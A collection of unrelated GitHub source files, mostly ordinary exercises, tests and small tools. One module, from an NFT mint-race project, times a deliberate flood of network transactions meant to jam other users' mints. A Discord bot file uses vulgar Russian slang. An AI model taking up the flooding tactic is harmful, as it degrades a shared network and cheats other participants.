targets.\r\n# On the first line, you will receive a sequence of targets with their integer values, split by a single space.\r\n# Then, you will start receiving commands for manipulating the targets until the \"End\" command.\r\n# The commands are the following:\r\n# •\t\"Shoot {index} {power}\"\r\n# o\tShoot the target at the index if it exists by reducing its value by the given power (integer value).\r\n# A target is considered shot when its value reaches 0.\r\n# o\tRemove the target if it is shot.\r\n# •\t\"Add {index} {value}\"\r\n# o\tInsert a target with the received value at the received index if it exists. If not, print: \"Invalid placement!\"\r\n# •\t\"Strike {index} {radius}\"\r\n# o\tRemove the target at the given index (if such exist) and the ones before and after it depending on the radius.\r\n# o\tIf any of the indices in the range is invalid, print: \"Strike missed!\" and skip this command.\r\n# Example: \"Strike 2 2\"\r\n# \t{radius}\t{radius}\t{strikeIndex}\t{radius}\t{radius}\r\n#\r\n# •\t\"End\"\r\n# o\tPrint the sequence with targets in the following format:\r\n# \"{target1}|{target2} … |{targetn}\"\r\n\r\ndef is_valid(index, len):\r\n if index in range(len):\r\n return True\r\n return False\r\n\r\n\r\nnumbers = list(map(int, input().split()))\r\nwhile True:\r\n command = input().split()\r\n if command[0] == 'End':\r\n break\r\n elif command[0] == 'Shoot':\r\n index = int(command[1])\r\n power = int(command[2])\r\n if is_valid(index, len(numbers)):\r\n numbers[index] -= power\r\n if numbers[index] <= 0:\r\n numbers.pop(index)\r\n elif command[0] == 'Add':\r\n index = int(command[1])\r\n value = int(command[2])\r\n if is_valid(index, len(numbers)):\r\n numbers.insert(index, value)\r\n else:\r\n print(\"Invalid placement!\")\r\n elif command[0] == 'Strike':\r\n index = int(command[1])\r\n radius = int(command[2])\r\n left_side = index - radius\r\n right_side = index + radius\r\n if is_valid(index, len(numbers)):\r\n if is_valid(left_side, len(numbers)):\r\n if is_valid(right_side, len(numbers)):\r\n left_part = numbers[:left_side]\r\n right_part = numbers[right_side + 1:]\r\n numbers = left_part + right_part\r\n else:\r\n print(\"Strike missed!\")\r\nprint(*[str(el) for el in numbers], sep=\"|\")\r\n","repo_name":"kristiqnnikolov/SoftUni-Courses","sub_path":"Fundamentals/14 Lists Advanced - Exercise/09_moving_target.py","file_name":"09_moving_target.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42431873097","text":"from collections import Counter\nfrom levels.utils.reporters.base import BaseReporter\nfrom levels.utils.points import LevelPoints\nfrom levels.utils.misc import LevelMisc\n\nname = LevelMisc.name\nconvert = LevelPoints.convert\n\n\nclass CircleReporter(BaseReporter):\n def __init__(self):\n super().__init__()\n self.event_name = 'Круговая ебка!'\n self.awaited_data_keys = ['actions']\n\n def create_report(self) -> str:\n report = f\"{self.event_name}\\n\"\n for author, target, pts in self.data['actions']:\n report += f\"<@{author.id}> выбирает {name(target)} и получает {convert(pts):.2f} см.\\n\"\n return report\n\n\nclass AllToOneReporter(BaseReporter):\n def __init__(self):\n super().__init__()\n self.event_name = 'Все на одного!'\n self.awaited_data_keys = ['victim', 'actions', 'victim_pts']\n\n def create_report(self) -> str:\n victim, victim_pts = self.data['victim'], self.data['victim_pts']\n\n report = f\"{self.event_name}\\n\"\n report += f'Жертва дня - <@{victim.id}>\\n'\n for author, pts in self.data['actions']:\n report += f\"<@{author.id}> получает {convert(pts):.2f} см.\\n\"\n report += f\"\\nСуммарно жертва получила {convert(victim_pts):.2f} см.\"\n return report\n\n\nclass TournamentReporter(BaseReporter):\n def __init__(self):\n super().__init__()\n self.event_name = 'Турнир!'\n self.awaited_data_keys = ['competitors', 'matches_count', 'matches', 'table', 'winners', 'reward']\n\n def create_report(self) -> str:\n matches_count, table, reward = self.data['matches_count'], self.data['table'], self.data['reward']\n # LevelMisc.name need discord.Member, but table keys are discord.Member.id. Create temp converter dict:\n member_by_id = {c.id: c for c in self.data['competitors']}\n\n # show event name\n report = f\"{self.event_name} Каждый с каждым играет {matches_count} матчей!\\n\\n\"\n\n # show competitors\n report += 'Участники:\\n'\n for competitor in self.data['competitors']:\n report += f'<@{competitor.id}>\\n'\n\n # show all matches with score\n report += '\\nМатчи:\\n'\n for first, second, matches in self.data['matches']:\n count = Counter(matches)\n first_pts, second_pts = count[first.id], count[second.id]\n report += f'{first_pts}:{second_pts} {name(first)} - {name(second)}\\n'\n\n # show score table sorted by score\n report += '\\nТаблица:\\n'\n sorted_table = sorted(table.items(), key=lambda item: item[1], reverse=True)\n for place, (k, v) in enumerate(sorted_table):\n report += f'{place + 1}. {name(member_by_id[k])} {v}\\n'\n\n # show winners text\n for winner_id in self.data['winners']:\n report += (f'\\nПобедитель турнира {name(member_by_id[winner_id])} получает '\n f'приз в {convert(reward):.2f} см.')\n\n return report\n","repo_name":"Olgert-A/FlyDiscordBot","sub_path":"levels/utils/reporters/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19650491812","text":"import asyncio\nimport time\n\nfrom web3.contract import Contract\n\n# This is how long we're willing to spam the network to secure the win.\n# If the allowlist time is farther away than this, we'll wait until we're\n# within the range.\nFLOOD_DURATION_SEC = 20\n\n\ndef watch_for_initialize_phases(contract: Contract) -> int:\n \"\"\"Synchronous method to scan for the initialized event (used in the minter/spammer jobs).\"\"\"\n change_filter = None\n while True:\n try:\n if change_filter is None:\n change_filter = contract.events.Initialized().createFilter(fromBlock='latest')\n for event in change_filter.get_new_entries():\n return event.args.allowlistStartTime\n except Exception as ex:\n print('Change filter failed, will recreate', ex)\n change_filter = None\n time.sleep(2)\n time.sleep(.1)\n\n\nasync def watch_for_initialize_phases_async(contract: Contract) -> int:\n \"\"\"Asynchronous method to scan for the initialized event (used in the monitor).\"\"\"\n change_filter = None\n while True:\n try:\n if change_filter is None:\n print('Creating change filter for events')\n change_filter = contract.events.Initialized().createFilter(fromBlock='latest')\n for event in change_filter.get_new_entries():\n return event.args.allowlistStartTime\n except Exception as ex:\n print('Change filter failed, will recreate', ex)\n change_filter = None\n await asyncio.sleep(2)\n await asyncio.sleep(.1)\n\n\ndef wait_until_flood_starts(start_time: int):\n \"\"\"Synchronously wait until we think it's acceptable to begin spamming.\"\"\"\n while time.time() < start_time - FLOOD_DURATION_SEC:\n time.sleep(.01)\n\n\ndef oneshot_minter_extra_wait(start_time: int):\n \"\"\"Apply a slight delay to the oneshot minter.\n\n There's a risk that the spammers don't come online fast enough to preempt\n the minter transaction from proceeding. This slight delay helps ensure that\n the minter gets jammed up.\n\n It's unclear how much time we'll have between the init and allowlist mint\n phase, so the delay scales downwards with that time.\n\n I don't want to sleep too long here though; there's the chance that some idiot\n who just mints / waits / mints / waits / exits is active, and they might get\n their tx in before me.\n\n Testing has shown that we only need a very minimal wait, if any.\n \"\"\"\n time_to_start = start_time - int(time.time())\n if time_to_start > 3:\n time.sleep(.4)\n else:\n # Basically no time to risk sleeping, fire away.\n pass\n\n\ndef should_continue_spamming(start_time: int) -> bool:\n \"\"\"For the proxy minter, stop spamming mint if we're past the mint start time.\"\"\"\n return start_time > time.time()\n","repo_name":"CynicalHateDAO/joepegs-mint-race","sub_path":"python/flood/flood_waiting.py","file_name":"flood_waiting.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"24828510407","text":"# @createTime : 2022/5/18\n# @authorName : cyss\n# @fileName : spider_test.py\n# @description : 爬虫测试\nimport urllib.request\n\nfrom bs4 import BeautifulSoup\nimport re\nfrom urllib import *\nimport xlwt\n\n# 利用正则表达式来获取字符串中匹配到的值\n# 影片链接\nfindlink = re.compile(r'')\n# 影片图片\nfindImgSrc = re.compile(r'(.*)')\n# 影片评分\nfindRating = re.compile(r'(.*)')\n# 评价人数\nfindJudge = re.compile(r'(\\d*)人评价')\n# 概况\nfindInq = re.compile(r'(.*)')\n# 影片相关内容\nfindBD = re.compile(r'

(.*?)

', re.S)\n\n\n# 得到一个指定网页的内容\ndef askUrl(url):\n # 模拟客户端发出的请求头信息\n headers = {\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.39 \"\n }\n # 发出请求得到服务器的响应\n request = urllib.request.Request(url=url, headers=headers)\n html = \"\"\n try:\n response = urllib.request.urlopen(request)\n html = response.read().decode(\"utf-8\")\n except urllib.error.URLError as e:\n if hasattr(e, \"code\"):\n print(e.code)\n if hasattr(e, \"reason\"):\n print(e.reason)\n return html\n\n\ndef gatData(baseurl):\n datalist = []\n # ��环遍历 1 ~ 10 页,每页 25 条\n for i in range(0, 10):\n url = baseurl + str(i * 25)\n html = askUrl(url)\n # 解析数据: 利用 soup 来解析 html 网页\n soup = BeautifulSoup(html, \"html.parser\")\n for item in soup.find_all(\"div\", class_=\"item\"):\n item = str(item)\n data = []\n # 提取影片链接,加入data\n link = re.findall(findlink, item)[0]\n data.append(link)\n # 提取影片图片,加入data\n imgSrc = re.findall(findImgSrc, item)[0]\n data.append(imgSrc)\n # 提取影片片名,加入data\n titles = re.findall(findTitle, item)\n if len(titles) == 2: # 如果影片存在外语名,则存入,否则值为空\n ctitle = titles[0]\n data.append(ctitle)\n otitle = titles[1].replace(\"/\", \"\")\n data.append(otitle)\n else:\n data.append(titles[0])\n data.append(\" \")\n # 提取影片评分,加入data\n rating = re.findall(findRating, item)[0]\n data.append(rating)\n # 提取影片评价人数,加入data\n judgeNum = re.findall(findJudge, item)[0]\n data.append(judgeNum)\n # 提取影片介绍,加入data\n inq = re.findall(findInq, item)\n if len(inq) == 0:\n data.append(\" \")\n else:\n data.append(inq[0].replace(\"。\", \"\"))\n # 提取影片相关内容,加入data\n bd = re.findall(findBD, item)[0]\n bd = re.sub('(\\s+)?', \" \", bd) # 替换 ’换行‘ 为空格\n bd = re.sub('/', \" \", bd) # 替换 ’/‘ 为空格\n data.append(bd.strip()) # 删除bd结尾的空格\n # 将一个影片的data添加到datalist中\n datalist.append(data)\n return datalist\n\n\ndef saveData(datalist, savepath):\n print(\"save......\")\n # 创建一个文件\n book = xlwt.Workbook(encoding=\"utf-8\", style_compression=0)\n # 创建一张表\n sheet = book.add_sheet(\"豆瓣电影250\", cell_overwrite_ok=True)\n # 标题行写入\n col = (\"电影详情链接\", \"图片链接\", \"影片中文名\", \"影片外文名\", \"评分\", \"评价数\", \"概况\", \"相关信息\")\n for i in range(0, 8):\n sheet.write(0, i, col[i])\n # 信息写入\n for i in range(0, 250):\n print(\"第%d条\" % (i + 1))\n data = datalist[i]\n for j in range(0, 8):\n sheet.write(i + 1, j, data[j])\n # 保存到指定目录\n book.save(savepath)\n\n\ndef main():\n baseurl = \"https://movie.douban.com/top250?start=\"\n datalist = gatData(baseurl)\n savapath = \"豆瓣电影Top250.xls\"\n saveData(datalist, savapath)\n\n\nif __name__ == \"__main__\":\n main()\n print(\"爬取成功!\")\n","repo_name":"cyscc/PythonLearning","sub_path":"spider/spider_test.py","file_name":"spider_test.py","file_ext":"py","file_size_in_byte":4489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"9339875071","text":"import io\nimport queue\n\nimport picologging\nfrom picologging.handlers import QueueHandler, QueueListener\n\n\ndef test_queue_handler_dispatch():\n logger = picologging.Logger(\"test\", picologging.DEBUG)\n q = queue.Queue()\n handler = QueueHandler(q)\n logger.addHandler(handler)\n logger.debug(\"test\")\n record = q.get(block=False)\n assert record\n assert record.levelno == picologging.DEBUG\n assert record.name == \"test\"\n assert record.msg == \"test\"\n assert record.args is None\n assert record.exc_info is None\n\n\ndef test_queue_listener():\n logger = picologging.Logger(\"test\", picologging.DEBUG)\n stream = io.StringIO()\n stream_handler = picologging.StreamHandler(stream)\n q = queue.Queue()\n listener = QueueListener(q, stream_handler)\n listener.start()\n handler = QueueHandler(q)\n logger.addHandler(handler)\n logger.debug(\"test\")\n\n listener.stop()\n assert stream.getvalue() == \"test\\n\"\n\n\ndef test_queue_handler_handle_exception():\n logger = picologging.Logger(\"test\", picologging.DEBUG)\n q = queue.Queue(maxsize=1)\n handler = QueueHandler(q)\n logger.addHandler(handler)\n\n handler.queue = None\n logger.debug(\"test\")\n\n\ndef test_queue_handler_format():\n logger = picologging.getLogger(\"picologging_test\")\n logger.setLevel(picologging.INFO)\n stream = io.StringIO()\n stream_handler = picologging.StreamHandler(stream)\n q = queue.Queue()\n listener = QueueListener(q, stream_handler)\n listener.start()\n handler = QueueHandler(q)\n handler.setLevel(picologging.DEBUG)\n handler.setFormatter(\n picologging.Formatter(\"%(levelname)s - %(name)s - %(message)s\")\n )\n logger.addHandler(handler)\n logger.info(\"Testing now!\")\n\n listener.stop()\n assert stream.getvalue() == \"INFO - picologging_test - Testing now!\\n\"\n","repo_name":"microsoft/picologging","sub_path":"tests/unit/test_queuehandler.py","file_name":"test_queuehandler.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":571,"dataset":"github-code","pt":"54"} +{"seq_id":"497538355","text":"from youtube_dl import YoutubeDL\n\nydl_opts = {\n 'nocheckcertificate': True,\n 'format': 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '320',\n }],\n 'skip_download': 'true',\n 'default_search': 'ytsearch',\n 'quiet': \"true\"\n}\n\n\ndef getVideoURL(keyword):\n ydl_opts[\"default_search\"] = \"ytsearch\"\n with YoutubeDL(ydl_opts) as ydl:\n # ydl.cache.remove()\n res = ydl.extract_info(keyword + \" song\", download=False)\n if \"entries\" in res:\n video_url = res[\"entries\"][0]['url']\n webpage_url = res[\"entries\"][0][\"webpage_url\"]\n else:\n video_url = res[\"url\"]\n webpage_url = res[\"webpage_url\"]\n if \"manifest\" not in video_url:\n return video_url, webpage_url\n else:\n ydl_opts[\"default_search\"] = \"ytsearch2\"\n with YoutubeDL(ydl_opts) as ydl:\n res = ydl.extract_info(keyword, download=False)\n if \"entries\" in res:\n video_url = res[\"entries\"][0]['url']\n webpage_url = res[\"entries\"][0][\"webpage_url\"]\n else:\n video_url = res[\"url\"]\n webpage_url = res[\"webpage_url\"]\n for video in res[\"entries\"]:\n if \"manifest\" not in video_url:\n return video_url, webpage_url\n raise FileNotFoundError\n","repo_name":"yuvarajselvam/yy-music-player","sub_path":"Backend/MongoDB/utils/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6245775267","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom setuptools import (\n setup,\n find_packages,\n)\n\n\ndeps = {\n 'platon-keys': [\n \"eth-utils>=1.3.0,<2.0.0\",\n ],\n 'test': [\n \"asn1tools>=0.146.2,<0.147\",\n \"pyasn1>=0.4.5,<0.5\",\n 'pytest==3.2.2',\n 'hypothesis==3.30.0',\n \"eth-hash[pysha3];implementation_name=='cpython'\",\n \"eth-hash[pycryptodome];implementation_name=='pypy'\",\n ],\n 'lint': [\n 'flake8==3.0.4',\n 'mypy==0.701',\n ],\n 'dev': [\n 'tox==2.7.0',\n 'bumpversion==0.5.3',\n 'twine',\n ],\n}\n\ndeps['dev'] = (\n deps['dev'] +\n deps['platon-keys'] +\n deps['lint'] +\n deps['test']\n)\n\nsetup(\n name='platon-keys',\n # *IMPORTANT*: Don't manually change the version here. Use the 'bumpversion' utility.\n version='0.1.0',\n description=\"\"\"Common API for PlatON key operations.\"\"\",\n long_description_markdown_filename='README.md',\n author='awake006',\n author_email='hietel366435@gmail.com',\n url='https://github.com/awake006/platon-keys',\n include_package_data=True,\n setup_requires=['setuptools-markdown'],\n install_requires=deps['platon-keys'],\n py_modules=['platon_keys'],\n extras_require=deps,\n license=\"MIT\",\n zip_safe=False,\n package_data={'platon-keys': ['py.typed']},\n keywords='platon',\n packages=find_packages(exclude=[\"tests\", \"tests.*\"]),\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ],\n)\n","repo_name":"awake006/platon-keys","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71413543841","text":"import logging\nimport time\nimport threading\nimport multiprocessing\n\nlogging.basicConfig(level=logging.DEBUG, format='%(processName)s: %(message)s')\n\ndef f(num, arr):\n logging.debug(num)\n num.value += 1.0\n logging.debug(arr)\n for i in range(len(arr)):\n arr[i] *= 2\n # conn.send((\"test\"))\n # time.sleep(2)\n # conn.close()\n\nif __name__ == \"__main__\":\n num = multiprocessing.Value(\"f\", 0.0)\n arr = multiprocessing.Array(\"i\", [1, 2, 3, 4, 5])\n p1 = multiprocessing.Process(target=f, args=(num, arr))\n p2 = multiprocessing.Process(target=f, args=(num, arr))\n p1.start()\n p1.join()\n p2.start()\n p2.join()\n logging.debug(num.value)\n logging.debug(arr[:])\n # parent_conn, child_conn = multiprocessing.Pipe()\n # p = multiprocessing.Process(target=f, args=(parent_conn, ))\n # p.start()\n # p.join()\n # logging.debug(child_conn.recv())","repo_name":"liberbell/py41","sub_path":"lesson71.py","file_name":"lesson71.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20636473583","text":"def digit(n):\n lst = []\n while n:\n lst.append(n%10)\n n //= 10\n return lst[::-1]\n\nN = int(input())\nM = int(input())\nif M:\n broken = set([map(int, input().split())])\nch = 100\ntarget = digit(N)\nfor i in range(10):\n if i not in broken:\n if target[0] <= i:\n minnow = i\n break\nfor i in range(9,-1,-1):\n if i not in broken:\n if target[0] >= i:\n maxnow = i\n break\nprint(minnow, maxnow)","repo_name":"dodonmountain/algorithm","sub_path":"2019_late/adv/리모컨.py","file_name":"리모컨.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29755966387","text":"import unittest\nimport os\nimport json\nfrom app import create_app, db\n\n\nclass TodolistTestCase(unittest.TestCase):\n \"\"\"This class represents the todolist test case\"\"\"\n\n def setUp(self):\n \"\"\"Define test variables and initialize app.\"\"\"\n self.app = create_app(config_name=\"testing\")\n self.client = self.app.test_client\n self.todolist = {'name': 'test1231321'}\n\n # binds the app to the current context\n with self.app.app_context():\n # create all tables\n db.session.close()\n db.drop_all()\n db.create_all()\n\n def register_user(self, email=\"user@test.com\", password=\"test1234\"):\n user_data = {\n 'email': email,\n 'password': password\n }\n return self.client().post('/auth/register', data=user_data)\n\n def login_user(self, email=\"user@test.com\", password=\"test1234\"):\n user_data = {\n 'email': email,\n 'password': password\n }\n return self.client().post('/auth/login', data=user_data)\n\n def test_todolist_creation(self):\n \"\"\"Test API can create a todolist (POST request)\"\"\"\n self.register_user()\n result = self.login_user()\n access_token = json.loads(result.data.decode())['access_token']\n\n res = self.client().post(\n '/todolists/',\n headers=dict(Authorization=\"Bearer \" + access_token),\n data=self.todolist)\n self.assertEqual(res.status_code, 201)\n self.assertIn('test123', str(res.data))\n\n def test_api_can_get_all_todolists(self):\n \"\"\"Test API can get a todolist (GET request).\"\"\"\n self.register_user()\n result = self.login_user()\n access_token = json.loads(result.data.decode())['access_token']\n\n res = self.client().post(\n '/todolists/',\n headers=dict(Authorization=\"Bearer \" + access_token),\n data=self.todolist)\n self.assertEqual(res.status_code, 201)\n res = self.client().get(\n '/todolists/',\n headers=dict(Authorization=\"Bearer \" + access_token),\n )\n self.assertEqual(res.status_code, 200)\n self.assertIn('test123', str(res.data))\n\n def test_api_can_get_todolist_by_id(self):\n \"\"\"Test API can get a single todolist by using it's id.\"\"\"\n self.register_user()\n result = self.login_user()\n access_token = json.loads(result.data.decode())['access_token']\n\n rv = self.client().post(\n '/todolists/',\n headers=dict(Authorization=\"Bearer \" + access_token),\n data=self.todolist)\n self.assertEqual(rv.status_code, 201)\n results = json.loads(rv.data.decode())\n result = self.client().get(\n '/todolists/{}'.format(results['id']),\n headers=dict(Authorization=\"Bearer \" + access_token))\n self.assertEqual(result.status_code, 200)\n self.assertIn('test123', str(result.data))\n\n def test_todolist_can_be_edited(self):\n \"\"\"Test API can edit an existing todolist. (PUT request)\"\"\"\n self.register_user()\n result = self.login_user()\n access_token = json.loads(result.data.decode())['access_token']\n\n rv = self.client().post(\n '/todolists/',\n headers=dict(Authorization=\"Bearer \" + access_token),\n data={'name': 'abc'})\n self.assertEqual(rv.status_code, 201)\n # get the json with the todolist\n results = json.loads(rv.data.decode())\n rv = self.client().put(\n '/todolists/{}'.format(results['id']),\n headers=dict(Authorization=\"Bearer \" + access_token),\n data={\n \"name\": \"def\"\n })\n\n self.assertEqual(rv.status_code, 200)\n results = self.client().get(\n '/todolists/{}'.format(results['id']),\n headers=dict(Authorization=\"Bearer \" + access_token))\n self.assertIn('def', str(results.data))\n\n def test_todolist_deletion(self):\n \"\"\"Test API can delete an existing todolist. (DELETE request).\"\"\"\n self.register_user()\n result = self.login_user()\n access_token = json.loads(result.data.decode())['access_token']\n\n rv = self.client().post(\n '/todolists/',\n headers=dict(Authorization=\"Bearer \" + access_token),\n data={'name': '123abc'})\n self.assertEqual(rv.status_code, 201)\n # get the todolist in json\n results = json.loads(rv.data.decode())\n res = self.client().delete(\n '/todolists/{}'.format(results['id']),\n headers=dict(Authorization=\"Bearer \" + access_token),)\n self.assertEqual(res.status_code, 200)\n # Test to see if it exists, should return a 404\n result = self.client().get(\n '/todolists/1',\n headers=dict(Authorization=\"Bearer \" + access_token))\n self.assertEqual(result.status_code, 404)\n\n\n# Make the tests conveniently executable\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"KathyNguyen11/todo-list-be","sub_path":"tests/test_todolist.py","file_name":"test_todolist.py","file_ext":"py","file_size_in_byte":5055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43054269086","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Aug 26 16:24:46 2022\r\n\r\n@author: Özgür Nazlı\r\n\"\"\"\r\n\r\ninput1 = [[1,'a',['cat'],2],[[[3]],'dog'],4,5]\r\n\r\noutput1=[]\r\ndef flatten(x):\r\n for i in x:\r\n if isinstance(i,list):\r\n flatten(i)\r\n else:\r\n output1.append(i)\r\n return output1\r\nprint(flatten(input1))","repo_name":"Ascarium/reverse-patikadev","sub_path":"flatten.py","file_name":"flatten.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39366601957","text":"class Solution:\n def maxArea(self, height: List[int]) -> int:\n \"\"\"\n TC: O(n) | SC: O(1)\n \"\"\"\n \n maxArea = float(\"-inf\")\n left, right = 0, len(height) - 1\n \n while left < right:\n if height[left] > height[right]:\n maxArea = max(maxArea, (right - left) * height[right])\n right -= 1\n else:\n maxArea = max(maxArea, (right - left) * height[left])\n left += 1\n \n return maxArea\n\n\n\n\n \"\"\"\n TC: O(n^2) | SC: O(1)\n \"\"\"\n maxArea = float(\"-inf\")\n \n for i in range(len(height) - 1):\n for j in range(i + 1, len(height)):\n \n currentArea = min(height[j], height[i]) * (j - i)\n maxArea = max(maxArea, currentArea)\n \n return maxArea","repo_name":"nikhiilll/Data-Structures-and-Algorithms-Prep","sub_path":"Arrays/LeetCode/ContainerWithMostWater_11.py","file_name":"ContainerWithMostWater_11.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37625068993","text":"class Solution:\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.root = {}\n \n def insert(self, word):\n \"\"\"\n Inserts a word into the trie.\n :type word: str\n :rtype: None\n \"\"\"\n node = self.root\n for c in word:\n if c not in node.keys():\n node[c] = {}\n node = node[c]\n node['is_word'] = True\n \n def build_trie(self, dict):\n for word in dict:\n self.insert(word)\n \n def replaceWords(self, dict: List[str], sentence: str) -> str:\n self.build_trie(dict)\n sen_list = sentence.split()\n result = []\n for sen in sen_list:\n node = self.root\n for i, c in enumerate(sen):\n if c in node.keys():\n node = node[c]\n else:\n result.append(sen)\n break\n if 'is_word' in node.keys():\n result.append(sen[:i+1])\n break\n else:\n result.append(sen)\n return \" \".join(result)\n","repo_name":"qianlongzju/Leet_Code","sub_path":"Algorithms/py/648.ReplaceWords.py","file_name":"648.ReplaceWords.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14915596845","text":"import asyncio\nimport contextlib\nimport logging\n\n\nclass ContextAdapter(logging.LoggerAdapter):\n def process(self, msg, kwargs):\n return '[%s] %s' % (','.join(self.extra['context']), msg), kwargs\n\n\ndef get_logger_with_context(logger, context):\n return ContextAdapter(logger, {'context': [context]})\n\n\ndef get_child_logger(logger, child_context):\n existing_context = logger.extra['context']\n return ContextAdapter(logger.logger, {'context': existing_context + [child_context]})\n\n\n@contextlib.contextmanager\ndef logged(logger, message, logger_args):\n try:\n logger.debug(message + '...', *logger_args)\n status = 'done'\n logger_func = logger.debug\n yield\n except asyncio.CancelledError:\n status = 'cancelled'\n logger_func = logger.debug\n raise\n except BaseException:\n status = 'failed'\n logger_func = logger.exception\n raise\n finally:\n logger_func(message + '... (%s)', *(logger_args + [status]))\n","repo_name":"uktrade/aioftps3","sub_path":"aioftps3/server_logger.py","file_name":"server_logger.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"34536828066","text":"# Part 1: 314\n# Part 2: 160\n\nimport re\n_, lines = open(\"Day5.txt\", \"r\").read().split(\"\\n\\n\")\nlines = lines.split(\"\\n\")\n\nstacks = ['DHRZSPWQ', 'FHQWRBV', 'HSVC', 'GFH', 'ZBJGP', 'LFWHJTQ', 'NJVLDWTZ', 'FHGJCZTD', 'HBMVPW']\n\nans = 0\nans2 = 0\narr = []\n\nfor i in range(0, len(lines), 1):\n line = lines[i]\n g = re.search(r\"move (\\d+) from (\\d+) to (\\d+)\", line)\n print(g.groups())\n n, s1, s2 = map(int, g.groups())\n s1 -= 1\n s2 -= 1\n # stacks[s2] = stacks[s1][:n][::-1] + stacks[s2]\n stacks[s2] = stacks[s1][:n] + stacks[s2]\n stacks[s1] = stacks[s1][n:]\n print(stacks)\n # line = int(line)\n\nprint(''.join([c[0] for c in stacks]))\nprint(ans)\nprint(ans2)","repo_name":"kevinmchung/AdventOfCode","sub_path":"2022/Day5/Day5.py","file_name":"Day5.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"36184700423","text":"def main():\n \"\"\"\n Main logic of the program. Handles all input and output. Also builds the \\\n shelves list.\n \"\"\"\n shelf_range = ()\n shelves = []\n number_of_shelves = int(input('Number of shelves? '))\n print()\n for item in range(number_of_shelves):\n range_for_shelf = input('Range for shelf #{}: '.format(item + 1))\n range_for_shelf = range_for_shelf.split(', ')\n shelf_range = (range_for_shelf[0], range_for_shelf[1])\n shelves.append(shelf_range)\n print()\n author = input('Find author (enter nothing to quit): ')\n while author.strip() != '':\n response = search_shelves(author, shelves)\n print()\n print('Author: {}'.format(author))\n print('Shelf #: {}'.format(response[0] + 1))\n print('Shelves checked: {}'.format(response[1]))\n print()\n author = input('Find author (enter nothing to quit): ')\n print()\n\n\ndef check_shelf(author, shelf_range):\n \"\"\" (str, tuple) -> int\n Returns 0 if the author is on the shelf corresponding to the range. It \\\n returns -1 if the author is on a shelf prior to the range, and 1 if the \\\n author is on a shelf following the range.\n\n >>> check_shelf('Knuth, Donald', ('K', 'M'))\n 0\n >>> check_shelf('Turning, Alan', ('Ba', 'Bn'))\n 1\n >>> check_shelf('Engelbart, Douglas', ('Sab', 'Sim'))\n -1\n \"\"\"\n author = author.upper()\n shelf_range_upper = (shelf_range[0].upper(), shelf_range[1].upper())\n if shelf_range_upper[0] <= author[0] <= shelf_range_upper[1]:\n return 0\n if shelf_range_upper[0] > author[0]:\n return -1\n if shelf_range_upper[1] < author[0]:\n return 1\n\n\ndef search_shelves(author, shelves):\n \"\"\" (str, list) -> list\n Returns a list index and the number of shelves checked.\n\n >>> shelves = [('A', 'D'), ('E', 'H'), ('I', 'L'), ('M', 'P'), ('Q', 'S'),\\\n ('T', 'V'), ('W', 'Z')]\n >>> search_shelves('Babbage, Charles', shelves)\n (0, 3)\n >>> search_shelves('Postel, Jon', shelves)\n (3, 1)\n \"\"\"\n\n first = 0\n last = len(shelves) - 1\n count = 0\n while first <= last:\n count = count + 1\n midpoint = (first + last) // 2\n val = check_shelf(author, shelves[midpoint])\n if val == 0:\n return (midpoint, count)\n if val == 1:\n first = midpoint + 1\n if val == -1:\n last = midpoint - 1\n return -1, count\n\nif __name__ == '__main__':\n main()\n","repo_name":"dilloncooper15/CS240","sub_path":"dcooper_hw06.py","file_name":"dcooper_hw06.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34455439428","text":"# 채팅 클라이언트\nimport socket\nimport threading\nimport sys\n\ndef handle(socket): #메세지 